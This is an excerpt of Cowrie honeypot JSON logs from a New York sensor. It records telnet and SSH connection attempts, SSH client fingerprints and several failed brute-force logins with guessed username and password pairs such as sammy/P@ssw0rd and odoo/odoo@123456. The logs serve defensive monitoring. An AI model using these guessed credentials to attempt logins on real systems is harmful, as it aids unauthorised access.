{"eventid":"cowrie.session.closed","duration":42.85767912864685,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:08.991060Z","src_ip":"64.227.101.30","session":"1baa93ca818b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48406,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7a15c9c73a3","protocol":"telnet","message":"New connection: 161.97.105.174:48406 (159.203.135.109:23) [session: a7a15c9c73a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:11.606503Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":52490,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ad709a7f640","protocol":"ssh","message":"New connection: 78.40.217.56:52490 (10.17.0.5:22) [session: 0ad709a7f640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:11.739615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:11.744302Z","src_ip":"78.40.217.56","session":"0ad709a7f640","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:11.878302Z","src_ip":"78.40.217.56","session":"0ad709a7f640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.418041706085205,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:12.016185Z","src_ip":"64.227.101.30","session":"43a0d83f246f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.999225616455078,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:12.171980Z","src_ip":"64.227.101.30","session":"677e0f0d4d0d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"P@ssw0rd","message":"login attempt [sammy/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:12.446155Z","src_ip":"78.40.217.56","session":"0ad709a7f640","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51824,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b009bb05a2a","protocol":"telnet","message":"New connection: 64.227.101.30:51824 (10.17.0.5:23) [session: 0b009bb05a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:13.171844Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50204,"dst_ip":"10.17.0.5","dst_port":23,"session":"0afd521ed0fd","protocol":"telnet","message":"New connection: 64.227.101.30:50204 (10.17.0.5:23) [session: 0afd521ed0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:13.475276Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:13.582731Z","src_ip":"78.40.217.56","session":"0ad709a7f640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.340672969818115,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:14.628010Z","src_ip":"68.183.198.12","session":"bd725be78694","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":49014,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d7b1ea80835","protocol":"telnet","message":"New connection: 68.183.198.12:49014 (159.203.135.109:23) [session: 8d7b1ea80835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:15.694128Z"}
{"eventid":"cowrie.session.closed","duration":39.34697389602661,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:17.471256Z","src_ip":"64.227.101.30","session":"b8a0d0264a77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.0349597930908203,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:17.728971Z","src_ip":"68.183.198.12","session":"8d7b1ea80835","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47440,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d29d0354277","protocol":"telnet","message":"New connection: 64.227.101.30:47440 (10.17.0.5:23) [session: 9d29d0354277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:19.248844Z"}
{"eventid":"cowrie.session.closed","duration":0.0054471492767333984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:19.254184Z","src_ip":"64.227.101.30","session":"9d29d0354277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.467504024505615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:20.686913Z","src_ip":"64.227.101.30","session":"9b48e5c94763","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52604,"dst_ip":"159.203.135.109","dst_port":23,"session":"935ed4740dca","protocol":"telnet","message":"New connection: 161.97.105.174:52604 (159.203.135.109:23) [session: 935ed4740dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:21.533554Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":50602,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe5459545765","protocol":"telnet","message":"New connection: 68.183.198.12:50602 (159.203.135.109:23) [session: fe5459545765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:26.126934Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":45570,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aeb62d79e7b","protocol":"ssh","message":"New connection: 209.99.189.174:45570 (10.17.0.5:22) [session: 3aeb62d79e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:26.278032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:26.282387Z","src_ip":"209.99.189.174","session":"3aeb62d79e7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:26.416779Z","src_ip":"209.99.189.174","session":"3aeb62d79e7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo@123456","message":"login attempt [odoo/odoo@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:26.966048Z","src_ip":"209.99.189.174","session":"3aeb62d79e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.1693878173828125,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:27.296225Z","src_ip":"68.183.198.12","session":"fe5459545765","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:28.097662Z","src_ip":"209.99.189.174","session":"3aeb62d79e7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39976,"dst_ip":"159.203.135.109","dst_port":23,"session":"d263be0903b8","protocol":"telnet","message":"New connection: 161.97.105.174:39976 (159.203.135.109:23) [session: d263be0903b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:31.458111Z"}
{"eventid":"cowrie.session.closed","duration":59.91335988044739,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:31.664617Z","src_ip":"64.227.101.30","session":"c4f5a4a36a82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39988,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c47b3d3deec","protocol":"telnet","message":"New connection: 161.97.105.174:39988 (159.203.135.109:23) [session: 7c47b3d3deec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:32.195629Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40002,"dst_ip":"159.203.135.109","dst_port":23,"session":"211008004c1f","protocol":"telnet","message":"New connection: 161.97.105.174:40002 (159.203.135.109:23) [session: 211008004c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:32.464337Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":52958,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0f38a420757","protocol":"telnet","message":"New connection: 68.183.198.12:52958 (159.203.135.109:23) [session: b0f38a420757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:34.726408Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47898,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fe701816917","protocol":"telnet","message":"New connection: 64.227.101.30:47898 (10.17.0.5:23) [session: 5fe701816917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:35.027933Z"}
{"eventid":"cowrie.session.closed","duration":0.00620269775390625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:35.033840Z","src_ip":"64.227.101.30","session":"5fe701816917","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.3010458946228,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:35.130012Z","src_ip":"161.97.105.174","session":"ae2d682f496a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":53344,"dst_ip":"159.203.135.109","dst_port":23,"session":"88af3bc23bba","protocol":"telnet","message":"New connection: 68.183.198.12:53344 (159.203.135.109:23) [session: 88af3bc23bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:37.454526Z"}
{"eventid":"cowrie.session.closed","duration":36.98509979248047,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:38.481591Z","src_ip":"64.227.101.30","session":"114da6b13ac5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.73174571990967,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:39.247505Z","src_ip":"68.183.198.12","session":"e150a4088b49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41572,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cfa104a67c6","protocol":"ssh","message":"New connection: 193.32.162.145:41572 (10.17.0.5:22) [session: 3cfa104a67c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:39.477182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:39.481597Z","src_ip":"193.32.162.145","session":"3cfa104a67c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:39.586929Z","src_ip":"193.32.162.145","session":"3cfa104a67c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"sollet","message":"login attempt [solana/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:39.952854Z","src_ip":"193.32.162.145","session":"3cfa104a67c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60162,"dst_ip":"10.17.0.5","dst_port":23,"session":"6632bddd649b","protocol":"telnet","message":"New connection: 64.227.101.30:60162 (10.17.0.5:23) [session: 6632bddd649b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:40.036057Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:41.084372Z","src_ip":"193.32.162.145","session":"3cfa104a67c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.83932876586914,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:43.213804Z","src_ip":"68.183.198.12","session":"1a59ac5b57a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.80268383026123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:43.409097Z","src_ip":"161.97.105.174","session":"a7a15c9c73a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":115.13606023788452,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:45.142828Z","src_ip":"68.183.198.12","session":"c5e4080e2878","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.72152400016785,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:45.502680Z","src_ip":"64.227.101.30","session":"318a8fa06061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.607832193374634,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:46.015819Z","src_ip":"68.183.198.12","session":"9996cf3d5676","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34120,"dst_ip":"10.17.0.5","dst_port":23,"session":"195e9917441c","protocol":"telnet","message":"New connection: 64.227.101.30:34120 (10.17.0.5:23) [session: 195e9917441c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:47.536523Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39910,"dst_ip":"159.203.135.109","dst_port":23,"session":"9787ef6ccc7c","protocol":"telnet","message":"New connection: 161.97.105.174:39910 (159.203.135.109:23) [session: 9787ef6ccc7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:48.723908Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60932,"dst_ip":"10.17.0.5","dst_port":23,"session":"692452249f14","protocol":"telnet","message":"New connection: 64.227.101.30:60932 (10.17.0.5:23) [session: 692452249f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:50.332914Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33852,"dst_ip":"10.17.0.5","dst_port":23,"session":"b42f236427d4","protocol":"telnet","message":"New connection: 64.227.101.30:33852 (10.17.0.5:23) [session: b42f236427d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:51.524275Z"}
{"eventid":"cowrie.session.closed","duration":0.2166767120361328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:51.740864Z","src_ip":"64.227.101.30","session":"b42f236427d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35038,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dcd2ca88da6","protocol":"telnet","message":"New connection: 64.227.101.30:35038 (10.17.0.5:23) [session: 6dcd2ca88da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:52.995564Z"}
{"eventid":"cowrie.session.closed","duration":44.702651500701904,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:53.283377Z","src_ip":"68.183.198.12","session":"0f3cf8da9aba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.93942356109619,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:53.472792Z","src_ip":"161.97.105.174","session":"935ed4740dca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34722,"dst_ip":"10.17.0.5","dst_port":23,"session":"38c8f7da59a2","protocol":"telnet","message":"New connection: 64.227.101.30:34722 (10.17.0.5:23) [session: 38c8f7da59a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:53.764444Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35730,"dst_ip":"10.17.0.5","dst_port":23,"session":"88e680917c3e","protocol":"telnet","message":"New connection: 64.227.101.30:35730 (10.17.0.5:23) [session: 88e680917c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:53.867824Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39912,"dst_ip":"159.203.135.109","dst_port":23,"session":"c53bd94528d9","protocol":"telnet","message":"New connection: 161.97.105.174:39912 (159.203.135.109:23) [session: c53bd94528d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:55.562913Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36842,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dac69ceba32","protocol":"telnet","message":"New connection: 64.227.101.30:36842 (10.17.0.5:23) [session: 7dac69ceba32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:58.328514Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52638,"dst_ip":"10.17.0.5","dst_port":23,"session":"c78fe1128939","protocol":"telnet","message":"New connection: 64.227.101.30:52638 (10.17.0.5:23) [session: c78fe1128939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:58.384857Z"}
{"eventid":"cowrie.session.closed","duration":0.004846811294555664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:53:58.389601Z","src_ip":"64.227.101.30","session":"c78fe1128939","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.223.118.22","src_port":45972,"dst_ip":"159.203.135.109","dst_port":23,"session":"beadb9b04416","protocol":"telnet","message":"New connection: 177.223.118.22:45972 (159.203.135.109:23) [session: beadb9b04416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:54:01.266479Z"}
{"eventid":"cowrie.session.closed","duration":54.59770584106445,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:54:01.648729Z","src_ip":"64.227.101.30","session":"4f294a2cd3be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37812,"dst_ip":"10.17.0.5","dst_port":23,"session":"6840c71fc765","protocol":"telnet","message":"New connection: 64.227.101.30:37812 (10.17.0.5:23) [session: 6840c71fc765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:54:02.287832Z"}
{"eventid":"cowrie.session.closed","duration":49.9172248840332,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:54:03.088960Z","src_ip":"64.227.101.30","session":"0b009bb05a2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36070,"dst_ip":"10.17.0.5","dst_port":23,"session":"7166fde6c0aa","protocol":"telnet","message":"New connection: 64.227.101.30:36070 (10.17.0.5:23) [session: 7166fde6c0aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:54:03.419657Z"}
